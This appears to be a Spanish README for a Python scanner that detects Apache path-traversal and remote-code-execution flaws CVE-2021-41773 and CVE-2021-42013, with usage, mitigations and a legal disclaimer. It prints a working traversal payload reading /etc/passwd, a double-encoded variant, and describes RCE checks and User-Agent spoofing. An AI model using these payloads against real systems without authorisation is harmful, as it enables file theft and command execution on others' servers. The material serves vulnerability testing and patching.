
Escáner basado en Python para detectar las vulnerabilidades de path traversal y ejecución remota de código CVE-2021-41773 y CVE-2021-42013 en Apache HTTP Server 2.4.49 y 2.4.50.
Un escáner integral de vulnerabilidades basado en Python para detectar las vulnerabilidades de path traversal y ejecución remota de código CVE-2021-41773 y CVE-2021-42013 en Apache HTTP Server versiones 2.4.49 y 2.4.50.
CVE-2021-41773 y CVE-2021-42013 son vulnerabilidades críticas que afectan a Apache HTTP Server y permiten a los atacantes:
Estas vulnerabilidades atrajeron gran atención en octubre de 2021 y han sido explotadas activamente en entornos reales.
.%2e) omitan las restricciones de directorio/etc/passwd, ejecutar comandos arbitrarios si mod_cgi está habilitado%%32%65)✅ Detección Dual de CVE: Prueba tanto CVE-2021-41773 como CVE-2021-42013 ✅ Pruebas de Path Traversal: Múltiples variaciones de payload para intentos de acceso a archivos ✅ Pruebas de RCE: Verificación de ejecución remota de código si mod_cgi está habilitado ✅ Escaneo por Lotes: Escanea múltiples objetivos desde un archivo ✅ Salida con Código de Colores: Resultados formateados fáciles de leer ✅ Timeout Personalizable: Timeout de solicitud ajustable para redes poco fiables ✅ Falsificación de User-Agent: Omite mecanismos básicos de filtrado
requestscoloramahttps://github.com/drackyjr/CVE-2021-42013.git
cd cve-2021-41773-42013
pip3 install -r requirements.txt
O instala manualmente:
pip3 install requests colorama
python3 cve_scanner.py -u http://192.168.1.100
python3 cve_scanner.py -u https://target.com
python3 cve_scanner.py -u http://target.com -t 15
python3 cve_scanner.py -l targets.txt
python3 cve_scanner.py -h
| Argumento | Corto | Tipo | Descripción |
|---|---|---|---|
--url | -u | CADENA | URL del objetivo (p. ej., http://example.com) |
--list | -l | ARCHIVO | Archivo que contiene la lista de objetivos (uno por línea) |
--timeout | -t | ENTERO | Timeout de solicitud en segundos (predeterminado: 10) |
python3 cve_scanner.py -u http://192.168.1.100
Crea targets.txt:
http://192.168.1.100
https://example.com:8080
http://10.0.0.50
https://vulnerable.server.com
Luego ejecuta:
python3 cve_scanner.py -l targets.txt -t 15
python3 cve_scanner.py -u http://target.com -t 30
El escáner proporciona una salida detallada que incluye:
Ejemplo de salida:
============================================================
CVE-2021-41773 / CVE-2021-42013 Vulnerability Scanner
============================================================
[*] Target: http://192.168.1.100
[*] Testing CVE-2021-41773 (Apache 2.4.49)...
[+] VULNERABLE to CVE-2021-41773!
[+] Payload: /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
[+] Response:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
============================================================
Scan Summary
============================================================
[!] Target is VULNERABLE!
[!] Immediate patching required!
[*] Recommendation: Upgrade to Apache HTTP Server 2.4.51 or later
============================================================
.%2e)/cgi-bin/, /icons/, /images//etc/passwd y /etc/shadow%%32%65)id para verificar la ejecución de códigouid= y gid= en la respuestaEl escáner busca:
root: o daemon: de /etc/passwduid= y gid= de la ejecución del comando id<Directory />
Require all denied
</Directory>
# Restrict access to sensitive directories
<Directory /cgi-bin>
Require all denied
</Directory>
# Disable symbolic links if not needed
Options -FollowSymLinks
# Enable security headers
Header always set X-Content-Type-Options "nosniff"
Header always set X-Frame-Options "DENY"
# Check Apache version
apache2 -v
httpd -v
| Versión | Estado | Acción |
|---|---|---|
| 2.4.49 | ❌ Vulnerable | Actualizar inmediatamente |
| 2.4.50 | ⚠️ Parcialmente Parcheado | Actualizar a 2.4.51+ |
| 2.4.51+ | ✅ Parcheado | No se requiere acción |
⚠️ IMPORTANTE: Esta herramienta está destinada SOLO para pruebas de seguridad autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ILEGAL según leyes como la Computer Fraud and Abuse Act (CFAA) y legislación similar en todo el mundo.
Solo Uso Autorizado:
Advertencia de Uso Indebido: Los usuarios son responsables de asegurarse de tener autorización explícita antes de probar cualquier objetivo. Los autores no asumen ninguna responsabilidad por el uso no autorizado.
Este escáner es ideal para:
.
├── cve_scanner.py # Main scanner script
├── requirements.txt # Python dependencies
├── README.md # This file
├── targets.txt # Example target list
└── LICENSE # License information
requests==2.28.1
colorama==0.4.5
http://192.168.1.100
https://vulnerable.example.com
http://10.0.0.50:8080
Solución: Aumenta el timeout con la opción -t
python3 cve_scanner.py -u http://target.com -t 30
Solución: El script deshabilita la verificación SSL de forma predeterminada. Si los problemas persisten, asegúrate de que los certificados de Python estén actualizados:
pip3 install --upgrade certifi
Solución: Asegúrate de que todas las dependencias estén instaladas
pip3 install -r requirements.txt
Solución: Haz que el script sea ejecutable
chmod +x cve_scanner.py
python3 cve_scanner.py -u http://target.com
-l con un archivo de objetivos para múltiples escaneos¡Las contribuciones son bienvenidas! Para contribuir:
git checkout -b feature/improvement)git commit -m 'Add improvement')git push origin feature/improvement)Por favor, asegúrate de:
Este proyecto está licenciado bajo la Licencia MIT. Consulta el archivo LICENSE para más detalles.
Security Testing Tool
Creada para fines educativos y de pruebas de seguridad autorizadas.
Para preguntas, problemas o sugerencias, abre un issue en GitHub.
Última Actualización: Noviembre de 2025
Estado: Desarrollo Activo
Probado En: Python 3.8+, Apache 2.4.49, 2.4.50